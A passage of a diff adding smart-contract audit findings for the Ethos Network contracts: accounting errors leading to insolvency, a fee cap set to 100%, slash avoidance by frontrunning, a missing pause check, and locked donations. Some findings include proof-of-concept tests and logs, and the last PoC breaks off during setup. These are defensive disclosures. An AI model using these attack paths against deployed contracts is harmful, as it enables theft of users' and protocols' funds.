to protocol fee recipient and tally donations to be withdrawn) + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + ... + // Calculate and refund remaining funds + // fundsPaid = total spent on votes + fees + donations + uint256 refund = msg.value - fundsPaid; // this refunds the user any balance left after the purchase + if (refund > 0) _sendEth(refund); + + // tally market funds + // fees and donations are added to the tally which is incorrect cause + // both fees and donations have already been paid out and are not in the market. + marketFunds[profileId] += fundsPaid; + ... + } + +``` +which results in an overstatement of the total market funds. This incorrect inclusion can lead to the contract becoming insolvent, as it allocates funds that are no longer on the contract or funds that has already been allocated for witdrawal. + +when `ReputationMarket::withdrawGraduatedMarketFunds()` is called for that market, it will withdraw the marketFunds for the market +```solidity +function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + _sendEth(marketFunds[profileId]); // the market funds will be sent to authorizedAddress + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` +The market funds, which incorrectly consist of the total amount spent on votes plus fees and donations, may be withdrawn from the contract. This will lead to contract insolvency because fees that have already been distributed and donations that have already been withdrawn by market owners are being withdrawn again. + + + +### Internal pre-conditions +1. Protocol fees and donation fees are set +### External pre-conditions + +None +### Attack Path + +1. UserA sends 100eth to buy trust votes for a marketId, spends 3% on fees (entry fee 200, donation fee 100), total funds left to purchase votes is 97eth (neglecting if there would be any remaining funds left), 100eth is added to the marketFunds when 2eth has been sent to protocol fee recipient and 1eth is available for claiming by market owners. + + + + +### Impact + +- The contract will face insolvency since it allows funds to be withdrawn that were already disbursed as fees or donations. +- Since fees and donations are counted as part of `MarketFunds` and can be withdrawn again when graduating the market, it results in a form of double spending. +- Since fees and donations are added to the market funds, the market funds will appear larger than it actually is. +- This can break the invariant `The vouch and vault contracts must never revert a transaction due to running out of funds.` + +### PoC +add this to `rep.market.test.ts` and run the test +```solidity +it('should add fees to marketFunds and revert on withdrawal of over-allocated marketFunds', async () => { + //setup contract + const entryFee = 200; + const exitFee = 300; + const donationFee = 100; + const protocolFeeAddress = ethers.Wallet.createRandom().address; + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(protocolFeeAddress); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(donationFee); + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(exitFee); + // + const initialMarketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log( + 'Market Funds Before Buy Votes', + initialMarketFunds, + ethers.formatEther(initialMarketFunds) + 'eth', + ); + + const balanceBeforeBuyVotes = await ethers.provider.getBalance( + await reputationMarket.getAddress(), + ); + console.log( + 'Reputation Market Balance Before Buy Votes', + balanceBeforeBuyVotes, + ethers.formatEther(balanceBeforeBuyVotes) + 'eth', + ); + //buy votes that would later be sold so the protocol can get fees + const { trustVotes: buyvotes, fundsPaid: buyfundspaid } = await userA.buyVotes({ + profileId: DEFAULT.profileId, + buyAmount: ethers.parseEther('100'), + }); + //withdraw donations as market owner when votes are purchased + await reputationMarket.connect(userA.signer).withdrawDonations(); + console.log('Bought Trust Votes', buyvotes); + console.log('Funds Paid By userA ', buyfundspaid, ethers.formatEther(buyfundspaid!) + 'eth'); + const MarketFundsAfterBuy = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log( + 'Market Funds After Buy Votes', + MarketFundsAfterBuy, + ethers.formatEther(MarketFundsAfterBuy) + 'eth', + ); + //balance of contract after userA purchased votes + const balanceAfterBuyVotes = await ethers.provider.getBalance( + await reputationMarket.getAddress(), + ); + console.log( + 'Reputation Market Balance After Buy Votes', + balanceAfterBuyVotes, + ethers.formatEther(balanceAfterBuyVotes) + 'eth', + ); + //userA sold all votes, taking all their funds from the contract + const { fundsReceived: sellFundsRecieved } = await userA.sellVotes({ + profileId: DEFAULT.profileId, + sellVotes: buyvotes, + }); + //The funds recieved is less due to fees + console.log( + 'Sell Funds Gotten From Selling All Votes ', + sellFundsRecieved, + ethers.formatEther(sellFundsRecieved!) + 'eth', + ); + //balance of contract after userA sold all votes + const ReputationMarketbalanceAfterSellVotes = await ethers.provider.getBalance( + await reputationMarket.getAddress(), + ); + //we can see the initital liquidty in the contract + console.log( + 'Reputation Market Balance After Sell Votes', + ReputationMarketbalanceAfterSellVotes, + ethers.formatEther(ReputationMarketbalanceAfterSellVotes) + 'eth', + ); + //marketFunds of the profileId when there are no votes sold or bought (should be back to default state) + const finalMarketFundsAfterSell = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log( + 'Market Funds After Sell Votes', + finalMarketFundsAfterSell, + ethers.formatEther(finalMarketFundsAfterSell) + 'eth', + ); + + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([deployer.ADMIN.address], ['GRADUATION_WITHDRAWAL']); + const graduator = deployer.ADMIN; + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + + expect(ReputationMarketbalanceAfterSellVotes).to.be.lessThan(finalMarketFundsAfterSell); + // Cannot process sending market funds to graduator cause the contract doesnt have sufficient funds + await expect( + reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId), + ).to.be.revertedWith('ETH transfer failed'); + }); +``` +logs +```js +Market Funds Before Buy Votes: 20000000000000000n 0.02eth +Reputation Market Balance Before Buy Votes: 20000000000000000n 0.02eth +Bought Trust Votes: 9708n +Funds Paid By userA: 99992419242680023236n 99.992419242680023236eth +Market Funds After Buy Votes: 100012419242680023236n 100.012419242680023236eth +Reputation Market Balance After Buy Votes: 97012419242680023236n 97.012419242680023236eth +Sell Funds Gotten From Selling All Votes: 94082646665399622539n 94.082646665399622539eth +Reputation Market Balance After Sell Votes: 20000000000000000n 0.02eth +Market Funds After Sell Votes: 5929772577280400697n 5.929772577280400697eth +``` +### Mitigation + +After refunding the user the remaining funds, the fees and donations should be subtracted from `fundsPaid` before adding it to the `marketFunds` \ No newline at end of file diff --git a/355.md b/355.md new file mode 100644 index 0000000..9975c54 --- /dev/null +++ b/355.md @@ -0,0 +1,43 @@ +Pet Hazelnut Moth + +High + +# Inadequate Fee Validation Allows Fees to Exceed 10% + +### Summary + +The incorrect configuration of MAX_TOTAL_FEES as 100% (10,000 basis points) instead of the intended 10% (1,000 basis points) allows total fees to exceed the stated 10% limit. As a result, the validation in the following code does not enforce the intended cap: + +```solidity +if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); +``` + +### Root Cause + +In [EthosVouch: 120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120), `MAX_TOTAL_FEES` is incorrectly set to 10000 (100%) instead of 1000 (10%), leading to invalid fee validation in [checkFeeExceedsMaximum](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L1003). + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin sets fees up to 100%, leveraging the incorrectly defined `MAX_TOTAL_FEES`. +2. Users interact with the contract, incurring excessive fees. +3. Unable to change `MAX_TOTAL_FEES` due to constant variable + +### Impact + +Users can be charged up to 100% in fees during vouching or withdrawal, leading to a complete loss of funds in extreme cases. + +### PoC + +_No response_ + +### Mitigation + +Correct `MAX_TOTAL_FEES` to `1000` Basis Points i.e 10% \ No newline at end of file diff --git a/356.md b/356.md new file mode 100644 index 0000000..175ba81 --- /dev/null +++ b/356.md @@ -0,0 +1,85 @@ +Creamy Pearl Raccoon + +Medium + +# EthosVouch.sol :: slash() can be avoided by frontrunning, enabling users to bypass the slashing process. + +### Summary + +The `slash()` is used to penalize a specific `authorProfileId` by deducting a percentage of their vouches balance for bad behavior. However, a user can frontrun this transaction by calling `unvouchin()`, allowing them to avoid the penalty. + +### Root Cause + +`slash()` is implemented as follows. +```solidity +function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches +@> if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } +``` +As you can see, only active vouches can be slashed. If a user notices the `slash()` transaction in the mempool, they can call [unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L463) to archive their vouch and avoid being penalized. + +### Internal pre-conditions + +None. + +### External pre-conditions + +- `slash()` must be invoked by the designated slasher. +- User detects the transction in the mempool. + +### Attack Path + +1. slasher calls `slash()`. +2. The user detects the transaction in the mempool. +3. The user frontruns the transaction by calling `unvouch()` to archive their vouch, thereby avoiding the slash. + +### Impact + +Users can circumvent the slashing of their voucher balances. + +### PoC + +To better understand the issue, let's consider an example. For the attack to benefit the user, the `slashBasisPoints > exitFee`. Assume the user has only 1 vouch, and the `exitFee = 5%`. + +1. The slasher calls `slash()` with `slashBasisPoints = 10%`. +2. The user notices the transaction in the mempool and frontruns it by calling `unvouch()`. +3. The user archives the vouch and withdraws the corresponding `amount - exitFee`. +4. The `slash()` transaction is executed, but it has no effect since the vouch has already been archived. +5. As a result, the user incurs only a 5% loss due to the `exitFee`, instead of the 10% loss from the slash. + +### Mitigation + +To address the issue, implement a mechanism to queue `unvouch()` requests, preventing users from frontrunning the `slash()` operation. \ No newline at end of file diff --git a/357.md b/357.md new file mode 100644 index 0000000..ca56098 --- /dev/null +++ b/357.md @@ -0,0 +1,70 @@ +Winning Hotpink Panda + +High + +# When buying votes, fees are taken from the whole `msg.value` instead of the amount spent on votes. + +### Summary +When buying votes, fees are taken from the whole `msg.value` instead of the actual amount spent on votes + +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +``` + +As we can see the loop ends when there are not enough funds to cover a purchase for the next vote. This usually results in refund later being sent to the user. Current implementation charges fees on unused by the user amount. Numerical example written bellow. + +### Root Cause + +Wrong fee logic implemented. + +### Attack Path +1. User calls `buyVotes` with 0.9 eth, `minVotesOut == 1 eth`. Current vote price is 0.5 eth. +2. User is charged 10% fee on the 0.9 eth -> 0.09 eth fee. +3. User only spends 0.5 eth on votes. +4. User is only refunded 0.31 eth. They're effectively charged 0.09 eth fee on a 0.5 eth buy, which is a 18% fee instead of a 10% one. +5. Had the user just sent ~0.56 eth, their tx would've succeeded. Because they sent more funds, they lost additional 0.03 eth. + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 + +### Impact + +Loss of funds + +### Mitigation +Fix is non-trivial \ No newline at end of file diff --git a/358.md b/358.md new file mode 100644 index 0000000..4e29614 --- /dev/null +++ b/358.md @@ -0,0 +1,47 @@ +Fresh Flint Dinosaur + +Medium + +# The `EthosVouch.increaseVouch` function does not have `whenNotPaused` modifier + +### Summary + +The `EthosVouch.increaseVouch` function does not have `whenNotPaused` modifier. +As a result, users can increase the amount staked for an existing vouch even though the `EthosVouch` contract is paused. + +### Root Cause + +The [increaseVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) function does not have `whenNotPaused` modifier. + +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +Users can increase the amount staked for an existing vouch even though the `EthosVouch` contract is paused. + +### PoC + +None + +### Mitigation + +It is recommended to change the code as following: + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable nonReentrant whenNotPaused { +``` diff --git a/359.md b/359.md new file mode 100644 index 0000000..05eb770 --- /dev/null +++ b/359.md @@ -0,0 +1,74 @@ +Pet Hazelnut Moth + +High + +# Incorrect Accounting of Market Funds Enables Unauthorized Withdrawals via `GRADUATION_WITHDRAWAL` + +### Summary + +Incorrect accounting of `marketFunds` in both `buyVotes` and `sellVotes` will cause unauthorized withdrawal of excess ETH when the `GRADUATION_WITHDRAWAL` address executes the `withdrawGraduatedMarketFunds` function. An attacker can exploit this by manipulating vote transactions to artificially inflate or understate the `marketFunds` balance, allowing withdrawal of more ETH than exists in the contract. + +### Root Cause + +In `ReputationMarket.sol`, the `marketFunds` mapping is inaccurately updated: +- **In [ReputationMarket.buyVotes: 481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481):** `marketFunds[profileId]` is incremented by `fundsPaid`, which includes protocol fees and donations that are not added to the market's liquidity, leading to overstatement of funds. +- **In [ReputationMarket.sellVotes: 522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522):** `marketFunds[profileId]` is decremented only by `fundsReceived`, which excludes protocol fees, leading to understatement of funds. +These inaccuracies accumulate over time and directly affect the `marketFunds` balance. + +### Internal pre-conditions + +> Protocol fees and/or donations are set to non-zero values. +> The attacker can buy and sell votes in an active market. +> The attacker has sufficient ETH and owns votes. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker alternates between `buyVotes` and `sellVotes`. + - Each `buyVotes` call inflates `marketFunds[profileId]` by including protocol fees and donations. + - Each `sellVotes` call understates `marketFunds[profileId]` by excluding protocol fees. +2. The attacker manipulates `marketFunds[profileId]` to a significant value. +3. When the market is graduated, the `GRADUATION_WITHDRAWAL` address triggers `withdrawGraduatedMarketFunds`, withdrawing the artificially inflated `marketFunds[profileId]`. + +### Impact + +**Severity:** High +- Unauthorized withdrawal of ETH by the `GRADUATION_WITHDRAWAL` address, leading to significant protocol fund loss. +- Exploitation is feasible during regular market operations due to the inaccurate updates of `marketFunds`. + +### PoC + +Code Reference: +```solidity +// Incorrect accounting in buyVotes +marketFunds[profileId] += fundsPaid; // Includes fees that do not add liquidity to the market + +// Incorrect accounting in sellVotes +marketFunds[profileId] -= fundsReceived; // Excludes protocol fees, understating the liquidity + +// Vulnerable function allowing unauthorized withdrawals +function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _sendEth(marketFunds[profileId]); // Withdraws inflated balance + marketFunds[profileId] = 0; +} +``` +### Mitigation +1. Adjust the `buyVotes` accounting logic to exclude protocol fees and donations from the market funds balance: + ```solidity + uint256 netFundsAdded = fundsPaid - protocolFee - donation; + marketFunds[profileId] += netFundsAdded; + ``` +2. Adjust the `sellVotes` accounting logic to include protocol fees in the funds removed: + ```solidity + uint256 totalFundsRemoved = fundsReceived + protocolFee; + marketFunds[profileId] -= totalFundsRemoved; + ``` \ No newline at end of file diff --git a/360.md b/360.md new file mode 100644 index 0000000..c7973f2 --- /dev/null +++ b/360.md @@ -0,0 +1,47 @@ +Pet Hazelnut Moth + +High + +# An attacker can understate `marketFunds` by selling votes, leading to unauthorized withdrawal. + +### Summary + +Incorrect accounting in `sellVotes` will cause unauthorized withdrawal of ETH for the protocol as an attacker will sell votes and `marketFunds[profileId]` is not reduced by the protocol fee amount. + +### Root Cause + +In [ReputationMarket.sellVotes: 522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522), the `marketFunds[profileId]` is incorrectly decreased in `sellVotes` only by `fundsReceived`, excluding the protocol fee, understating the market funds. + +### Internal pre-conditions + +> Protocol exit fees are set to a non-zero value. +> The attacker owns votes in the market. +> An active market exists for a specific profileId. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker calls `sellVotes` to sell votes. +2. The `sellVotes` function subtracts `fundsReceived` from `marketFunds[profileId]`, excluding the protocol fee. +3. Repeating this action understates `marketFunds[profileId]`. +4. Upon market graduation, the understated `marketFunds` allows excess ETH to be withdrawn. + +### Impact + +The protocol suffers a loss of funds as excess ETH is withdrawn from the contract, potentially affecting other markets and participants. + +### PoC + +_No response_ + +### Mitigation + +In `sellVotes`, adjust `marketFunds` to decrease by the total amount removed, including the protocol fee: + +```solidity +uint256 totalFundsRemoved = fundsReceived + protocolFee; +marketFunds[profileId] -= totalFundsRemoved; +``` \ No newline at end of file diff --git a/361.md b/361.md new file mode 100644 index 0000000..bb32e7b --- /dev/null +++ b/361.md @@ -0,0 +1,47 @@ +Pet Hazelnut Moth + +High + +# An attacker can inflate `marketFunds` by buying votes, leading to unauthorized withdrawal. + +### Summary + +Incorrect accounting in `buyVotes` will cause unauthorized withdrawal of ETH for the protocol as an attacker will buy votes and inflate `marketFunds[profileId]` by including protocol fees and donations in the balance. + +### Root Cause + +In [ReputationMarket.buyVotes: 481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), the `marketFunds[profileId]` is incorrectly increased in `buyVotes` by `fundsPaid`, which includes protocol fees and donations, overstating the market funds. + +### Internal pre-conditions + +> Protocol entry fees and/or donations are set to non-zero values. +> An active market exists for a specific profileId. +> The attacker has sufficient ETH to buy votes. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker calls `buyVotes` with sufficient funds. +2. The `buyVotes` function adds `fundsPaid` (including protocol fees and donations) to `marketFunds[profileId]`. +3. Repeating this action inflates `marketFunds[profileId]` artificially. +4. Upon market graduation, the inflated `marketFunds` allows excess ETH to be withdrawn. + +### Impact + +The protocol suffers a loss of funds as excess ETH is withdrawn from the contract, potentially affecting other markets and participants. + +### PoC + +In `buyVotes`, adjust `marketFunds` to include only the net amount added to the market: + +```solidity +uint256 netFundsAdded = fundsPaid - protocolFee - donation; +marketFunds[profileId] += netFundsAdded; +``` + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/362.md b/362.md new file mode 100644 index 0000000..489e6db --- /dev/null +++ b/362.md @@ -0,0 +1,80 @@ +Nutty Spruce Urchin + +Medium + +# Missing `whenNotPaused` modifier in the `increaseVouch` function + +### Summary + +There is not `whenNotPaused` modifier in the `EthosVouch.increaseVouch` function, even though all of another functions have it. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +```solidity +@>function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +In case of the contract is paused, users can `increaseVouch` function. + +### PoC + +None + +### Mitigation + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable nonReentrant whenNotPaused{ + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` diff --git a/363.md b/363.md new file mode 100644 index 0000000..c385eca --- /dev/null +++ b/363.md @@ -0,0 +1,62 @@ +Nutty Spruce Urchin + +Medium + +# The `EthosVouch` contract verifies that the maximum total fees do not exceed 100%, rather than 10% + +### Summary + +In the README, there is the following sentence: "Maximum total fees cannot exceed 10%" +However, the `EthosVouch` contract checks that the maximum total fees exceeds 100% instead of 10%. +This breaks the requirement of the README. + +### Root Cause + +In the `EthosVouch` contract, `MAX_TOTAL_FEES` is 10000(100%), not 1000 from [L120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120). + +```solidity +120: uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +Thus, the `checkFeeExceedsMaximum` function checks total fee is greater than 100% from L1003 + +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +L1003: if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +The `EthosVouch` does not satisfy the requirement in the README. + +### PoC + +None + +### Mitigation + +It is recommended to change the code in the `EthosVouch` contract as following: + +```diff +-120: uint256 public constant MAX_TOTAL_FEES = 10000; ++120: uint256 public constant MAX_TOTAL_FEES = 1000; +``` diff --git a/364.md b/364.md new file mode 100644 index 0000000..f6cd899 --- /dev/null +++ b/364.md @@ -0,0 +1,55 @@ +Nutty Spruce Urchin + +Medium + +# Distributed donation rewards to the mock profile are locked in the contract + +### Summary + +In the `EthosVouch.vouchByProfileId` function, the mork profile receives donation rewards. +However, they can't claim rewards in the `EthosVouch.claimRewards` function. +As a result, this causes locking funds. + +### Root Cause + +In the `EthosVouch.claimRewards` function, the mock profile can't claim rewards from [L673](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L673). + +```solidity +L673: if (!verified || mock) { + revert ProfileNotFoundForAddress(msg.sender); + } +``` + +In the `vouchByProfileId` function, the mork profile receives donation rewards. + +```solidity +L364: if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } + [...] +L384: (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +The distributed donation rewards to mock profile are locked in the contract. + +### PoC + +None + +### Mitigation + +In the `vouchByProfileId` and `increaseVouch` function, do not distribute donation rewards to the mock profile. diff --git a/365.md b/365.md new file mode 100644 index 0000000..1fddebd --- /dev/null +++ b/365.md @@ -0,0 +1,300 @@ +Passive Tawny Sheep + +High + +# sellVotes have an accounting error that make the protocol insolvent + +### Summary + +When a user sell votes the function sellVotes will count the ether amount to send to the user but not the exit fees payed to the protocol. This will make the protocole insolvent. + +### Root Cause + +In the`sellVotes:495`function in the ReputationMarket contract the function will call `_calculateSell`to calculate the fundsReceived and the protocol fees as we can see at the end of the function : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041-L1044 + +After that the function will send the fees by calling applyFees and send the funds to the user by calling `_sendEth`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L517-L520 +But the function will count in the market funds only the funds send to the user not the fees making the protocol insolvent : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +_No response_ + +### Impact + +The protocol will be insolvent and making a call to`withdrawDonationsor`or`withdrawGraduatedMarketFunds` will revert. + +### PoC + +In order to run this POC you will to add foundry to the project by follow simple steps : +1. run `npm install --save-dev @nomicfoundation/hardhat-foundry` +2. add in the hadhat config `import "@nomicfoundation/hardhat-foundry";` +3. run `npx hardhat init-foundry` +4. create a remappings.txt file in the contracts folder and add those lines : +```solidity +@openzeppelin/contracts/=node_modules/@openzeppelin/contracts/ +@openzeppelin/contracts-upgradeable/=node_modules/@openzeppelin/contracts-upgradeable/ +``` +5. Move the node_modules folder in the contracts folder. + +Now you can copy paste this code in the test folder and run `forge test --mt test_withdrawGraduatedMarketFundsPOC2 --via-ir` + +```solidity +// SPDX-License-Identifier: GPL-2.0 +pragma solidity ^0.8.0; + +import {Test, console2} from "forge-std/Test.sol"; + +import {EthosVouch} from "contracts/EthosVouch.sol"; +import {ReputationMarket} from "contracts/ReputationMarket.sol"; +import {EthosAttestation} from "contracts/EthosAttestation.sol"; +import {EthosProfile} from "contracts/EthosProfile.sol"; +import {ContractAddressManager} from "contracts/utils/ContractAddressManager.sol"; +import {SignatureVerifier} from "contracts/utils/SignatureVerifier.sol"; +import {InteractionControl} from "contracts/utils/InteractionControl.sol"; +import {EthosReview} from "contracts/EthosReview.sol"; +import {EthosVote} from "contracts/EthosVote.sol"; +import {RejectETHReceiver} from "contracts/mocks/RejectETH.sol"; +import {PaymentToken} from "contracts/mocks/PaymentToken.sol"; +import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; + +contract CodedPOC is Test { + event LogBytes32(string message, bytes32 value); + event LogBytes(string message, bytes value); + event LogUint256(string message, uint256 value); + event LogUint256Array(string message, uint256[] value); + event LogAddressArray(string message, address[] value); + event LogAddress(string message, address value); + event LogBool(string message, bool value); + + EthosVouch ethosVouch; + ContractAddressManager contractAddressManager; + ReputationMarket reputationMarket; + SignatureVerifier signatureVerifier; + InteractionControl interactionControl; + EthosAttestation ethosAttestation; + EthosProfile ethosProfile; + EthosReview ethosReview; + EthosVote ethosVote; + RejectETHReceiver rejectETHReceiver; + address constant BOB = address(0x10000); + address constant ALICE = address(0x20000); + address constant CHARLIE = address(0x30000); + address constant OWNER = address(0x40000); + address constant ADMIN = address(0x50000); + address constant expectedSigner = address(0x60000); + address constant feeProtocolAddr = address(0x70000); + address constant proxyAdmin = address(0x80000); + address constant slashing = address(0x80000); + address constant graduateAddress = address(0x90000); + + address sender; + address[] internal users; + + string constant attestation = "ETHOS_ATTESTATION"; + string constant contractAddressManagerName = "ETHOS_CONTRACT_ADDRESS_MANAGER"; + string constant discussion = "ETHOS_DISCUSSION"; + string constant interactionControlName = "ETHOS_INTERACTION_CONTROL"; + string constant profil = "ETHOS_PROFILE"; + string constant reputationMarketName = "ETHOS_REPUTATION_MARKET"; + string constant review = "ETHOS_REVIEW"; + string constant signatureVerifierName = "ETHOS_SIGNATURE_VERIFIER"; + string constant vote = "ETHOS_VOTE"; + string constant vouch = "ETHOS_VOUCH"; + string constant vaultManager = "ETHOS_VAULT_MANAGER"; + string constant slashPenalty = "ETHOS_SLASH_PENALTY"; + string constant slasher = "SLASHER"; + string constant graduate = "GRADUATION_WITHDRAWAL"; + uint256 constant MAX_ETH = 100e18; + PaymentToken paymentToken1; + PaymentToken paymentToken2; + uint256[] vouchIds; + uint256[] vouchIdsActive; + uint256[] vouchIdsArchived; + uint256[] marketIds; + uint256[] marketIdsActive; + uint256[] marketIdsGraduated; + uint256 subjectId; + uint256 totalDepositVouch; + mapping(address => uint256) profilIdBySender; + uint256 constant TRUST = 1; + uint256 constant DISTRUST = 0; + + function setUp() public { + vm.warp(1524785992); + 